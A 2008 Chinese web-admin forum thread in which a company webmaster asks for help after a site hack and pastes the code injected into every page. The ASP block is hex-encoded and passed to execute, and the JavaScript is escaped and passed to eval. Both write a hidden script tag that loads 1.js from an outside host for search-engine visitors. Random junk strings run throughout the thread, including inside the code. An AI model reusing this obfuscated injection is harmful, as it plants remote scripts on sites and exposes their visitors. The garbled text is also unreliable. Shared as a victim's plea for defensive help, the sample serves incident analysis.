我是网管论坛 » 【 网站建设 】 » 网站被黑,紧急求助~

king0701 发表于 2008-5-8 11:39

网站被黑,紧急求助~

[font=Verdana][color=#0000ff]麻烦各们大侠看一下,我们公司的中文网站,[/color][/font]
+E
e#Q0W5S ~/] [font=Verdana][color=#0000ff][/color][/font]
YygCLN0M [font=Verdana][color=#0000ff]主页可以打开,其它都是打不开的,被黑了,[/color][/font]^#V%U'f
y\8he~
[font=Verdana][color=#0000ff][/color][/font]
_*N1PmqR [font=Verdana][color=#0000ff]请告诉我这是什么问题造成的，你看我应该怎么防止再次这样???[/color][/font] z*M] |y6}7rB
[font=Verdana][color=#0000ff][/color][/font]]f
wk5Y#_5}C|0L-q(nX
[font=Verdana][color=#0000ff][font=Verdana][color=#0000ff]麻烦各们大侠看一下,我们公司的中文网站,[/color][/font]
,`mhPf W~7t [font=Verdana][color=#0000ff][/color][/font]A?
[.j2FR3z{
[font=Verdana][color=#0000ff]主页可以打开,其它都是打不开的,被黑了,[/color][/font]N e4tOdE3f+m`D
[font=Verdana][color=#0000ff][/color][/font]
b_KjJu\D'w [font=Verdana][color=#0000ff]请告诉我这是什么问题造成的，你看我应该怎么防止再次这样???[/color][/font]&E(?,E'{}+d-Mwd"^8M
[font=Verdana][color=#0000ff][/color][/font]
w0B-r/h/G.|
#xh2n4Ch5pzv0N [font=Verdana][color=#0000ff][/color][/font];fZJ$cE:ol9U
[color=red][b].asp网页最下面都[font=Verdana]插入下面的东西[/font][/b][/color]9c1IHdG#C|~'J;r4cK
[font=Verdana][color=#ff0000][/color][/font]xB,C(dg`&S
[size=3]<%
8x7q"L
`!p J '[color=#ff0000]fhqzbktcs(这里每页中是不一样的)[/color]'ns.gEz3a'IV9F6g
on error resume next
'l,c:YB"A7R9hn.} fhqzbktc="6946206C654E287245517565537428225F5F684153685F5F222929205448456E2045786543755465207245517545537428225F5F684173685F5F22290D0A5265463D726571554553542E7365525645527661726961624C65732822487454705F5265466552455222290D0A49462053457353496F4E282252654622293C3E3120414E442028696E537472285245662C2242614964752E434F6D22293E30204F7220694E735472285245462C222E476F4F674C452E22293E30204F7220496E537472285265662C227961686F4F2E634F6D22293E3029205468454E0D0A53655353496F4E282272656622293D310D0A524553704F4E53452E775249746528223C444976207354594C653D27644953504C41593A6E4F6E65273E3C536352497074207352633D27687454503A2F2F71713132333738392E476F332E496370436E2E434F4D2F312E4A53273E3C2F5343526950743E3C2F4469763E22290D0A454E442069660D0A",ciP Q5[8KkX
fhqzbktcc=""
Y;s}V[5Z!n for i = 1 to len(fhqzbktc).O]2z#a%l$QB
fhqzbktcc = fhqzbktcc & chr("&H" & mid(fhqzbktc,i,2))Ml Z&ww!\]
i = i + 15F9m~"H)]
next
9r3\eQD3U$M fhqzbktcc = LCase(fhqzbktcc)
#Tt.^4Y9@$Q'c execute fhqzbktcc3Pmk?nH }|
'fhqzbktce
$|5@U
@8`:F7Q %>[/size]a7v0m@t8ul+L

w _u(CYJjfIG9D [font=Verdana][color=#0000ff][/color][/font] ;I6^7~TWI t!wV:O
[b][color=#ff0000].thml网页最下面都[font=Verdana]插入下面的东西[/font][/color][/b]
_!GjH?Ov
c [font=Verdana][size=2]<div style='display:none'> Q&W7OXq {
<script>cvd n P$_-Hh
//daebyvsps
(X1g|c"r j]4@Ip daebyvsp='%55%3D%64%6F%63%75%4D%65%6E%54%2E%52%65%46%45%52%52%45%52%3B%20%49%46%20%28%75%2E%69%4E%64%45%58%6F%46%28%27%42%61%69%44%55%2E%43%6F%4D%27%29%3E%31%20%7C%7C%20%75%2E%49%6E%64%45%78%4F%66%28%27%2E%47%4F%6F%47%4C%45%2E%27%29%3E%31%20%7C%7C%20%55%2E%69%4E%44%65%58%4F%46%28%27%59%61%68%4F%6F%2E%43%4F%4D%27%29%3E%31%29%7B%20%64%4F%63%75%4D%65%6E%54%2E%57%72%49%74%65%28%27%3C%73%43%72%69%70%74%20%73%72%43%3D%22%48%74%74%70%3A%2F%2F%71%51%31%32%33%37%38%39%2E%47%4F%33%2E%69%43%70%43%4E%2E%63%4F%4D%2F%31%2E%4A%73%22%3E%3C%27%2B%27%2F%53%43%52%49%70%54%3E%27%29%3B%20%7D'; daebyvsp=unescape(daebyvsp); daebyvsp=daebyvsp.toLowerCase(); daebyvsp=daebyvsp.replace(/dexof/g,'dexOf'); eval(daebyvsp); Q)li _2\8F7VI
//daebyvspe
&r*A sl_R!? </script>
2S9`3jM9]_YQ </div>[/size][/font]
!W%D6W Hc [/color][/font]
'[]3K}7G|S|^ 4lxBwY
[[i] 本帖最后由 king0701 于 2008-5-8 12:35 编辑 [/i]]

绿竹居 发表于 2008-5-17 14:53

中毒了。可以是你的代码也可能是服务器！

king0701 发表于 2008-5-27 17:41

谢谢大家,/@9l9V^ R1P%l+U]
mWBOe1f

6]"wz|QO0E$}
D6K3L`4BK/w 问题是解决了!n oW,k*PTB

N#Klm!T1y@1\N ` ui#}
?n)B*\4V)z
0`"sh F*cA L9y Y
我们用的是租用的虚拟空间,可能是因为服务器和我网站都存在漏洞造成的~但是问题只能由自己来解决,
/n2w UoW [0~/i/i3a$RDa

3O8oP~2W*E'N 8E/m:nFV:}
服务商只会说和他们服务器没有关系,是我们网站的原因~让我技术去解决.没用, _2Q%P%M
gh1bw
eH-j0r u+H

-uTH?w7i
~Bn{D4Pn 最后,把FTP上的文件全部删除后重新上传后是就正常了!M,WBW9j J$Y2k

b@|'Y L
KD7?f2M]9h
{V#t9m&I S8z 问题判断：可能是用什么注入工具注入的这段垃圾代码在里面，而且可以看出做这事的人也不一定知道我们网站
P8XjH9L ~M] e.WtL

pGN^x[T
c9PK}6hW-J'J!V 已经被黑，如果是个高手，我想我们的网站不会就是这样简单的被插入一段代码的问题，可能是会被挂马之类的，
6DNs%ILN X`r d
$] a;Q,lm
RBFu yz0{_ *] L-?:nuRJ^
这样的话问题就大了，呵呵～1G7]&m n Hq+M[

u~)B/E IRDq
2G]X^-tZ_
d2HQ?y4T+u1V 日前的解决方法是在每个．asp文件上加一段完全码，就是为了过滤掉特殊字符．
!MKh/P:c
m.d-ef3J F~
o+Q9|UEv9eN
y-v4U"}owoVi
同时正在想更完善的解决方案，4b`P1E"C-Be

K:LDl4H)} "u0dvyr#i5?2x~a

~E
U6r]W!aH8h"ci 希望大家可以提供有效的方法，谢谢～

dakuai 发表于 2008-6-2 16:33

把FTP上的文件全部删除后重新上传后是就正常了!
t6Y$M9h'Ke l 这也叫解决方法啊??

查看完整版本: 网站被黑,紧急求助~